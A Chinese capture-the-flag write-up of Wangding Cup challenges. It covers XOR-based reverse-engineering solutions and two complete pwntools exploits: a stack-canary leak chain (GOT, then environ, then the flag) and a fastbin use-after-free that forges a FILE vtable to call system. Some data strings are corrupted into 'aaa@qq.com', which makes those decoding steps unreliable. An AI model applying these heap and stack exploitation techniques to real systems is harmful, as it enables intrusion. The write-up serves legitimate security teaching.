网鼎杯-教育
beijing
这里可以发现有flag的影子,但是异或之后就没有影子了,获取flag其实就是把异或的部分去掉。
这里就是算法了。
别人写的比较好,用别人的吧。
#include
using namespace std;
unsigned int byte_804A020[28] = {
0x61, 0x4C, 0x67, 0x59, 0x69, 0x29, 0x6E, 0x42, 0x62, 0x0D, 0x65, 0x71, 0x66, 0x34, 0x6A, 0xC6,
0x6D, 0x8A, 0x6C, 0x7F, 0x7B, 0xAE, 0x7A, 0x92, 0x7D, 0xEC, 0x5F, 0x57
};
char chr_change(char temp)
{
char chr_re;
switch(temp)
{
case 0:
chr_re=(char)byte_804A020[0];
break;
case 1:
chr_re=(char)byte_804A020[2];
break;
case 2:
chr_re=(char)byte_804A020[4];
break;
case 3:
chr_re=(char)byte_804A020[6];
break;
case 4:
chr_re=(char)byte_804A020[8];
break;
case 5:
chr_re=(char)byte_804A020[10];
break;
case 6:
chr_re=(char)byte_804A020[12];
break;
case 7:
chr_re=(char)byte_804A020[14];
break;
case 8:
chr_re=(char)byte_804A020[16];
break;
case 9:
chr_re=(char)byte_804A020[18];
break;
case 10:
chr_re=(char)byte_804A020[20];
break;
case 11:
chr_re=(char)byte_804A020[22];
break;
case 12:
chr_re=(char)byte_804A020[24];
break;
case 13:
chr_re=(char)byte_804A020[26];
break;
default:
chr_re=0;
break;
}
cout<<chr_re;
return chr_re;
}
int main()
{
int t[25]={0x06,0x09,0x00,0x01,0x0A,0x00,0x08,0x00,0x0B,0x02,0x03,0x01,0x0D,0x04,0x05,0x02,0x07,0x02,0x03,0x01,0x0c};
for(int i=0;i<21;i++)
chr_change(t[i]);
return 0;
}
那一串数据也能得到(有三个字节是在bss段,其实是0)
a1=[ 0x61, 0x4C, 0x67, 0x59, 0x69, 0x29, 0x6E, 0x42, 0x62, 0x0D,
0x65, 0x71, 0x66, 0x34, 0x6A, 0xC6, 0x6D, 0x8A, 0x6C, 0x7F,
0x7B, 0xAE, 0x7A, 0x92, 0x7D, 0xEC, 0x5F, 0x57]
b=[]
key=[0x52 ,0x13 ,0x2D ,0x3E ,0xD5 ,0x2D ,0xE7 ,0x2D ,0xE8 ,0x40 ,0x2C ,0x3E ,0x08 ,0x6F ,0x14 ,0x40
,0xAC ,0x40 ,0x2C ,0x3E ,0x91 ,0x0A]
print key,
print len(key)
for i in range(len(a1)/2):
b.append(chr((a1[2*i]^a1[2*i+1])&0xff))
print len(b)
for i in range(len(key)):
for j in range(len(b)):
if key[i]==ord(b[j]):
print j,
总结:注意题目中出现的数字,变成字符之后会有意外收获呢。
advance
运行之后输出了
➜ advanced ./src
welcome, here is your identification, please keep it in your pocket: 4b404c4b5648725b445845734c735949405c414d5949725c45495a51
这个字符串可能有意义。
用ida打开之后发现函数贼多,没办法,只能祈祷简单一点,测试吧。
libnum库了解一下https://www.cnblogs.com/pcat/p/7225782.html
>>> import libnum
>>> s=0x4b404c4b5648725b445845734c735949405c414d5949725c45495a51
>>> print libnum.n2s(s)
K@LKVHr[aaa@qq.com\AMYIr\EIZQ
转成字符是乱码,但是能转成字符,简单异或一下试试。
>>> ord('f')^0x4b
45
>>> ord('l')^0x40
44
>>> ord('a')^0x4c
45
>>> ord('g')^0x4b
44
是他们兄弟俩异或得来的。
用别人一段脚本。
s='aaa@qq.com[aaa@qq.com\\AMYIr\\EIZQ'
flag=""
for i in range(len(s)):
if i%2==0:
flag+=chr(ord(s[i])^45)
else:
flag+=chr(ord(s[i])^44)
print flag
flag{d_with_a_template_phew}
总结:复杂的题往往可以简单化,之一flag的作用,可以尝试异或一下。
pwn1(GUESS)
开启了NX保护和stack。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
int v5; // [rsp+1Ch] [rbp-84h]
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf; // [rsp+30h] [rbp-70h]
char s2; // [rsp+60h] [rbp-40h]
unsigned __int64 v10; // [rsp+98h] [rbp-8h]
v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6();
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}
需要知道关于fork函数和canary保护。
fork函数是复制,创建一个子进程,子进程会复制父进程的所有信息。但是子进程你是个单独的进程,不会影响到父进程。
stack保护:就是在栈里面放一个canary如果canary被改变程序会退出,并且打印出
*** stack smashing detected ***:
加可执行文件(路径加)名字效果如图(只是适合ubuntu16到ubuntu18不会输出)
思路:三次leak。
1.泄露got表值,获取到libc库的加载地址
2.计算出environ的指针,泄露出environ的地址(也就是栈的地址)。
3.复写为flag内容的地址get flag。
刚好三次fork
from pwn import *
context.log_level="debug"
p=process("./guess")
elf=ELF("./guess")
libc=ELF("libc.so.6")
p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(elf.got["read"])
p.sendline(payload)
print p.recvuntil("***: ")
read_addr=u64(p.recv(6).ljust(8,'\x00'))
print "read_addr="+hex(read_addr)
p.recvuntil("Please type your guessing flag\n")
environ_pointer=read_addr-libc.symbols["read"]+libc.symbols["__environ"]
payload='A'*0x128+p64(environ_pointer)
p.sendline(payload)
print p.recvuntil("***: ")
environ_addr=u64(p.recv(6).ljust(8,'\x00'))
print "environ_pointer="+hex(environ_pointer)
print "environ_addr="+hex(environ_addr)
gdb.attach(p)
raw_input()
p.recvuntil("Please type your guessing flag\n")
payload='A'*0x128+p64(environ_addr-0x168)
p.sendline(payload)
print p.recvuntil("***: ")
print p.recvall()
第三次的fork设置为
需要关注的是
07:0038│ 0x7ffc392a7ea0 ◂— 'qwertyuiop\n'
这里是读取出来的flag.txt文件的内容。
32:0190│ 0x7ffc392a7ff8 —▸ 0x7ffc392aa1de ◂— 0x73736575672f2e /* './guess' */
这里是输出的内容。
34:01a0│ 0x7ffc392a8008 —▸ 0x7ffc392aa1e6 ◂— 0x52454d554e5f434c ('LC_NUMER')
这里是环境变量environ的内容。可以得出来栈地址的偏移。
>>> hex(0x7ffc392a8008-0x7ffc392a7ea0)
'0x168'
输入数据的指针和0x7ffc392a7ff8的差是需要填充的数据。
blind
程序提供了new,change,release操作,没有任何输出。
[*] '/home/liu/1t/u18/\xe6\x96\x87\xe6\xa1\xa3/\xe7\xbd\x91\xe9\xbc\x8e\xe6\x9d\xaf/blind/blind'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
开启了RELRO保护,不和复写got表,这意味着不能泄露出任何地址。
程序给出了system(“/bin/sh”)函数,漏洞也很明显,delete只是把内存空间free,并没有把ptr指针清空,存在uaf漏洞,可以用fastbin attach。
pwndbg> x /10xg 0x602020
0x602020 <stdout>: __xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn> 0x0000000000000000
0x602030 <stdin>: 0x00007fd3067d88e0 0x0000000000000000
0x602040 <stderr>: 0x00007fd3067d9540 0x0000000000000000
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x00000000021d4010 0x00000000021d4080
这里高地址处是0x7f,题目中申请的空间是0x68可以申请到。这里的stdout结构指针在bss段,为我们下面伪造FILE结构创造了条件。
size_addr=0x60201d
new(0,"A"*0x50)
new(1,"B"*0x50)
release(1)
release(0)
change(0,p64(size_addr))
new(2,"C"*0x20)
new(3,"D"*0x20) #####get bss
接下来伪造IO_2_1_stdout结构
原结构是:
pwndbg> print stdout
$1 = (struct _IO_FILE *) 0x7fa37e934620 <_IO_2_1_stdout_>
pwndbg> print _IO_2_1_stdout_
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fa37e9346a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fa37e9346a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fa37e9338e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7fa37e935780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7fa37e9337a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fa37e9326e0 <_IO_file_jumps>
}
目的是伪造一个结构,其他地方都差不多,只有vtable = 0x7fa37e9326e0 <_IO_file_jumps>
结构设置成我们字节的结构。
pwndbg> print _IO_file_jumps
$3 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7fa37e5e89c0 <_IO_new_file_finish>,
__overflow = 0x7fa37e5e9730 <_IO_new_file_overflow>,
__underflow = 0x7fa37e5e94a0 <_IO_new_file_underflow>,
__uflow = 0x7fa37e5ea600 <__GI__IO_default_uflow>,
__pbackfail = 0x7fa37e5eb980 <__GI__IO_default_pbackfail>,
__xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>,
__xsgetn = 0x7fa37e5e7ec0 <__GI__IO_file_xsgetn>,
__seekoff = 0x7fa37e5e74c0 <_IO_new_file_seekoff>,
__seekpos = 0x7fa37e5eaa00 <_IO_default_seekpos>,
__setbuf = 0x7fa37e5e7430 <_IO_new_file_setbuf>,
__sync = 0x7fa37e5e7370 <_IO_new_file_sync>,
__doallocate = 0x7fa37e5dc180 <__GI__IO_file_doallocate>,
__read = 0x7fa37e5e81a0 <__GI__IO_file_read>,
__write = 0x7fa37e5e7b70 <_IO_new_file_write>,
__seek = 0x7fa37e5e7970 <__GI__IO_file_seek>,
__close = 0x7fa37e5e7340 <__GI__IO_file_close>,
__stat = 0x7fa37e5e7b60 <__GI__IO_file_stat>,
__showmanyc = 0x7fa37e5ebaf0 <_IO_default_showmanyc>,
__imbue = 0x7fa37e5ebb00 <_IO_default_imbue>
}
伪造vtable里面的__xsputn = 0x7fa37e5e81e0 <_IO_new_file_xsputn>
设置成system的地址当程序调用put函数就能劫持程序执行流。
首先需要注意的是flag,这里需要绕过一些检测,要满足 flag&8 = 0 and flag &2 =0 and flag & 0x8000 != 0
(64位flag对应8的位置为0,对应的2的位置为0,对应的0x8000的位置为1)
这里取flag=0xfbad8000
其他基本上从原本的FILE结构里面摘出来即可。
from pwn import *
context.log_level = 'debug'
p = process('./blind')
system_addr = 0x00000000004008E3
def new(index,content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
def change(index,content):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
p.sendline(content)
def release(index):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
size_addr=0x60201d
new(0,"A"*0x50)
new(1,"B"*0x50)
release(1)
release(0)
change(0,p64(size_addr))
new(2,"C"*0x20)
payload="A"*3+p64(0)*6+p64(0x602020)+p64(0x6020a0)#fake_file start in address 0x6020a0
payload+=p64(0x6020a0+0x68)+p64(0x6020a0+0x68*2)
new(3,payload) #####get bss
flag=0xfbad8000
payload=p64(flag)+p64(0x602060)*7+p64(0x602061)+p64(0)*3
change(1,payload)
payload=p64(0x602060)+p64(1)+p64(0xffffffffffffffff)+p64(0x0000000000000000)+p64(0x602060)+p64(0xffffffffffffffff)+p64(0)+p64(0x602060)+p64(0)*3+p64(0x00000000ffffffff)
change(2,payload)
payload=p64(0)+p64(0x602180)+p64(0)*7+p64(system_addr)
change(3,payload)
gdb.attach(p)
change(0,p64(0x6020a0))
p.interactive()
联系:aaa@qq.com
上一篇: set_include_path()
下一篇: redis 6 通信协议RESP